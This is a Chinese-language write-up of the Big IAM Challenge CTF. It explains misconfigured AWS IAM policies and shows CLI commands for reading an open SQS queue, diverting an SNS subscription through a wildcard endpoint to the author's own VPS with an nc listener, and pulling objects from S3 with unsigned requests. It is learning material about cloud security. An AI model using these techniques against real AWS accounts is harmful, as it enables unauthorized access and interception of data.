AWS-labs

AWS上的服务:

s3

对象存储服务

  • 用途:存储文件(如文档、图片、视频等),类似于云硬盘。
  • 典型操作
    • aws s3 ls(列出存储桶)
    • aws s3 cp(上传/下载文件)
    • aws s3 rm(删除文件)
  • 权限策略示例
1
2
3
4
5
6
7
8
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["s3:ListBucket"],
"Resource": "arn:aws:s3:::your-bucket-name"
}]
}

sqs

队列查询服务

用途:用于应用程序之间的异步消息传递(如任务队列、事件通知)。

典型操作

  • aws sqs send-message(发送消息)
  • aws sqs receive-message(接收消息)
  • aws sqs delete-message(删除消息)
1
2
3
4
5
6
7
8
9
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["sqs:SendMessage", "sqs:ReceiveMessage"],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}]
}

SNS

启动的服务与功能

  • 服务Amazon SNS(Simple Notification Service),用于发布/订阅消息(如邮件、短信、HTTP通知等)。

  • 作用

    • 允许任何 AWS 账户(Principal: "*"订阅指定的 SNS 主题(TBICWizPushNotifications)。

    • 但仅限端点(Endpoint)为 *@tbic.wiz.io 的订阅请求(例如邮件地址 user@tbic.wiz.io)。

该策略存在如下风险:

  1. 全局访问权限:该策略中指定了允许任何AWS用户(”*”)执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的,可能存在风险,因为未经授权的用户可以执行订阅操作。
  2. 通配符条件:该策略中的条件指定订阅者的Endpoint必须以”*@tbic.wiz.io”结尾。然而,通配符条件可能过于宽松,允许任何以该域名结尾的Endpoint进行订阅,包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。
  3. 潜在的信息泄露:由于该策略允许任何人订阅主题,如果主题包含敏感信息或重要通知,可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息,甚至利用该信息进行其他恶意行为。

The big IAM CTF

网址:https://bigiamchallenge.com

该网址会自动帮助我们连接上AWS

lab-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage",
"sqs:ReceiveMessage"
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}

可以看到属于sqs服务

1、该策略将操作权限授予了所有用户(”*”),意味着任何具有该策略的用户或角色都可以发送和接收消息。

2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。

因此,我们 aws sqs receive-message --queue-url https://us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"Messages": [
{
"MessageId": "5c1b6bfe-d444-4c92-90d5-b047977fea14",
"ReceiptHandle": "AQEBy/pCcFMnsGgfJ4jTXVXcCnWZ1VBzm+QLG6OShbxYI5hZjeFm6ggdYpYxj8660PrKmy0di7O9USiTTBct3TMKqSxBY5Ke3nzuydiE1FA2JLLH2
4fNganKgrgZNIn5+cbHAJ332+J00m1LwNwL6WoyXCBSzhXvukbjsgBm7SMTP5XB+chhE4gTmx/EvnaC3HKqVWwBzXEGU5cDPfGFMWXc9cnZ9kuY8nC1i02uflzgTcj9DxbgXXnoR6z4ceis
cCmx0hwfBXJhWlKU/NKBFtGk+oZkWPHunWaGED7oScV3L09HsFPvnSVTb5ytSBvDbbO/1O2xXHfUqXhn43Vz0p2fecufgTb2rwSQRRzrrtcwOgHURfqgJs/RtmV0FVRoO8nlxRfIuKCcTwX
ARL/m3E8hB1Gk90fTj4GiFvbwtTpDFJA=",
"MD5OfBody": "4cb94e2bb71dbd5de6372f7eaea5c3fd",
"Body": "{\"URL\": \"https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/2.5329.32
58dev.35046 libwww-FM/2.14 SSL-MM/1.4.3714\", \"IsAdmin\": true}"
}
]
}

打开这个文件拿到flag

{wiz:you-are-at-the-front-of-the-queue}

lab-3

如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}
}
}
]
}

注意和上一题有不一样,关键在于出现了一个SNS服务,丢给deepseek看一下

启动的服务与功能

  • 服务Amazon SNS(Simple Notification Service),用于发布/订阅消息(如邮件、短信、HTTP通知等)。
  • 作用
    • 允许任何 AWS 账户(Principal: "*"订阅指定的 SNS 主题(TBICWizPushNotifications)。
    • 但仅限端点(Endpoint)为 *@tbic.wiz.io 的订阅请求(例如邮件地址 user@tbic.wiz.io

那么

1
2
3
4
5
6
aws sns subscribe \
--topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \//接受到的服务
--protocol email \//以电子邮件的方式
--notification-endpoint admin@tbic.wiz.io//接受的端点,邮箱


回显

1
2
3
{
"SubscriptionArn": "pending confirmation"
}

此时,等待你去点击确定连接

应该怎么做呢

我们可以控制admin@tbic.wiz.io改为http://12121221212121@tbic.wiz.io

发送到我们的vps上

使用http协议进行代理监听的方式获取订阅消息

注意将protocol改为http(注意改http之后中间用/连接)

nc监听得到

Connection received on 15.221.160.24 36215
POST /@tbic.wiz.io HTTP/1.1
x-amz-sns-message-type: SubscriptionConfirmation
x-amz-sns-message-id: 6be54276-2da7-40fb-8258-ca44518450f5
x-amz-sns-topic-arn: arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications
Content-Type: text/plain; charset=UTF-8
Content-Length: 1623
Connection: Keep-Alive
User-Agent: Amazon Simple Notification Service Agent
Accept-Encoding: gzip,deflate

{
“Type” : “SubscriptionConfirmation”,
“MessageId” : “6be54276-2da7-40fb-8258-ca44518450f5”,
“Token” : “2336412f37fb687f5d51e6e2425a8a5875c3b63688278ec557940a84d4fc6d0f6065a4feb7686396be5ca68ed76ee5399e6b1b33c58930f52d554696d9d9dd86b6faec7585e3bf4780951800dd877c50cc7c79f5c4dd73eb10b453386aa22b5518c2b700fa5983eada750411ae29f2b2bd74cfad1685f29ec6e62489cd7ebf03”,
“TopicArn” : “arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications”,
“Message” : “You have chosen to subscribe to the topic arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications.\nTo confirm the subscription, visit the SubscribeURL included in this message.”,
“SubscribeURL” : “https://sns.us-east-1.amazonaws.com/?Action=ConfirmSubscription&TopicArn=arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications&Token=2336412f37fb687f5d51e6e2425a8a5875c3b63688278ec557940a84d4fc6d0f6065a4feb7686396be5ca68ed76ee5399e6b1b33c58930f52d554696d9d9dd86b6faec7585e3bf4780951800dd877c50cc7c79f5c4dd73eb10b453386aa22b5518c2b700fa5983eada750411ae29f2b2bd74cfad1685f29ec6e62489cd7ebf03“,
“Timestamp” : “2025-05-31T07:56:42.369Z”,
“SignatureVersion” : “1”,
“Signature” : “NH5QtaED5M+6wrUQTjq5F58GEWIZ8u+mW4smtnnsNs7tRa4lFrqv53dY16EmfxHz2BhEY2TO46tWVWT+HLCzaq+8Clzb98sjUQNiH9VbYno6iUwp9QcO/klI0aupj04mpbQ5JTKVgsE/b9oqhCwYiobhYuWp2vGarwSIbcJINZi4gaKQ+6r38Z57vFGGEKrE7rZSUETZzzyZcuIVjItZjqoJvCKTCU2XGzikEx88ZEtgoL02tnIvA7IC/TiqnVsTlS0MRpbcvzEMCZT9HYo8+3dwNUj+zktZiUmgkdM6B8NJr7lJ7whg/a3M24ujZ3ohoJp3GVngQC8uTHinuhodJA==”,
“SigningCertURL” : “https://sns.us-east-1.amazonaws.com/SimpleNotificationService-9c6465fa7f48f5cacd23014631ec1136.pem
}

点击SubscribeURL确认订阅消息,等待一会即可接收到附带flag的订阅消息

中间的过程磕磕绊绊,应该是要在vpscurl到证明Url,然后再尝试一次就可以拿到flag了

拿到{wiz:always-suspect-asterisks}

lab-4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}

这个是s3,丢给deepseek进行分析

即任何用户都可以查看存储桶内的所有文件

但是只有admin用户才可以列出该存储目录files/下的文件

通过–no-sign-request可以跳过iam的身份验证

然后直接ls下/files/下的所有文件

然后再aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/1.txt

然后直接cat /tmp/1.txt即可拿到了

同样还有一种方式通过fuzz测试,比如,我们getobjext只能cp某个文件出来,不能拿到整个桶的资源(权限不够)因此可以尝试爆破

最后也是得到flag

{wiz:principal-arn-is-not-what-you-think}

lab-5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"mobileanalytics:PutEvents",
"cognito-sync:*"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}

如上策略有两个声明,VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作,且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作,来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容.

该题稍微难一点,因此全程以复现为准


拼尽全力,无法战胜